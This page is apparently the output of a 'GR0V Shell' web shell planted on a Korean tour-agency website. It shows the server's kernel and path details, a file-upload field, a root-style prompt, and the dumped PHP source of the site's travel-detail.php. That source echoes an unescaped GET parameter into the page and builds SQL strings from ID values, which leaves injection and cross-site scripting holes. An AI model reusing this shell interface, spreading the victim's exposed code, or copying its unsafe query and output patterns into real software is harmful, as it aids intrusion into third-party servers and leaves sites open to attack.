? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/
File Upload :
Current File : /home/admin/public_html/travel-detail.php

<?
ob_start();
session_start();
require_once('config.php');
require_once('libs/global.php');
require_once('libs/MySql.php');
require_once('libs/function.php');
require_once('modules/users/mod_user.php');
require_once('libs/backoff_ajax.php');
require_once('libs/backoff.php');
require_once('libs/menuTree.php');
require_once('libs/xajax/xajax.inc.php');
require_once('libs/xajax/xajaxExtend.php');
$db=new MySql;

$topic_id=$_GET['id'];
$data=$db->getDataOneRow('contents',$topic_id,'ContentID');

if($data["ContentMetaTitle"]=="")
	$title=$data["ContentName"];
else
$title=$data["ContentMetaTitle"];

if($data["ContentMetaDescription"]=="")
{
	if($data["ContentTitle"]=="")
		$description=substr(strip_tags($data["ContentDetail"]),0,160,"utf-8");
	else
		$description=$data["ContentTitle"];
}
else
$description=$data["ContentMetaDescription"];

if($data["ContentMetaKeyword"]=="")
$keyword="ทัวร์เกาหลี,เที่ยวเกาหลี,รีวิวเที่ยวเกาหลี,รีวิวทัวร์เกาหลี,review";
else
$keyword=$data["ContentMetaKeyword"];

$_GET['id'] = $data['ContentID'];
preg_match_all('/<img[^>]+src=[\'"]([^\'"]+)[\'"][^>]*>/i', $data['ContentDetail'], $image);
if( $image[1][0])
$thumbnail=$image[1][0];
else {
$datame=$db->getRow('contents_photo',"WHERE ContentID  ='{$data['ContentID']}' ORDER BY id_p ASC ");
$thumbnail="http://www.happytokorea.com/backend/images/ContentPhoto/".$datame['picture'];
}

?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><? echo $title; ?></title>
<meta name="description" content="<? echo $description; ?>"  />
<meta name="keywords" content="<? echo $keyword; ?>" />
<meta name="author" content="happytokorea.com">
<meta name="robots" content="index,follow" />
<meta property="fb:app_id" content="1776597142590251"/>
<link rel="image_src" href="<?=$thumbnail;?>" />
<!-- FB Meta Tag -->
<meta property="fb:pages" content="350867648502">
<meta property="og:type" content="article" />
<meta property="og:title" content="<? echo $title; ?>" />
<meta property="og:description" content="<? echo $description; ?>" />
<meta property="og:image" content="<?=$thumbnail;?>" />
<meta property="og:url" content="http://www.happytokorea.com/travel-detail.php?id=<?=$topic_id;?>" />
<? require_once('ui.php');?>
</head>

<body>

<!-- header -->
<? require_once('header.php');?>
<!-- จบ header -->

<!-- content -->
<div class="container">
  <div class="row">
    <div class="col-md-12 col-main">
      <div class="content-box">
        <div class="title">
          <div class="text2">Korea : <?=$data['ContentName'];?></div>
        </div>
      </div>
			<div style="padding-top:20px;">
				<table>
					<tr>
						<td valign="middle">
							แชร์ทาง :
						</td>
						<td valign="middle">
							<span class='st_facebook_large' displayText='Facebook'></span>
							<span class='st_twitter_large' displayText='Tweet'></span>
							<div class="line-it-button" style="display: none;" data-type="share-c" data-lang="en" ></div>
							<span class='st_pinterest_large' displayText='Pinterest'></span>
							<span class='st_email_large' displayText='Email'></span>
						</td>
					</tr>
				</table>
			</div>
			<script src="//scdn.line-apps.com/n/line_it/thirdparty/loader.min.js" async defer ></script>
				<script type="text/javascript">var switchTo5x=true;</script>
				<!--<script type="text/javascript" src="//w.sharethis.com/button/buttons.js"></script>-->
				<script type="text/javascript" src="js/buttons.js"></script>
				<script type="text/javascript">stLight.options({publisher: "da20f3e2-1dca-48ef-b675-7f55c4067944", doNotHash: false, doNotCopy: false, hashAddressBar: false});</script>
				<script type="text/javascript" src="http://js.nicedit.com/nicEdit-latest.js"></script> <script type="text/javascript">
				//<![CDATA[
				bkLib.onDomLoaded(function() { nicEditors.allTextAreas() });
				//]]>
				</script>
      <div class="detail">
        <div class="box">
          <div class="ts7">
          <?
          $data2=$db->getRow('contents_photo',"WHERE ContentID  ='{$_GET['id']}' ORDER BY id_p DESC ");
					if($data2['picture'])
					{
		  ?>
            <div align="center" style="padding: 10px 10px 30px 10px">
						<img src="backend/images/ContentPhoto/<?=$data2['picture'];?>"alt="" class="img-responsive">
						</div>
						<?
					}?>
            <?=$data['ContentDetail'];?>
					</div>
        </div>
      </div>
    </div>
  </div>
</div>
<!-- จบ content -->

<!-- footer -->
<? require_once('footer.php');?>
<!-- จบ footer -->

<!-- เมนู social -->
<? require_once('menu-social.php');?>
<!-- จบ เมนู social -->

<!-- ลูกศรเลือนขึ้น -->
<? require_once('go-to-top.php');?>
<!-- จบ ลูกศรเลือนขึ้น -->

<? require_once('script.php');?>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$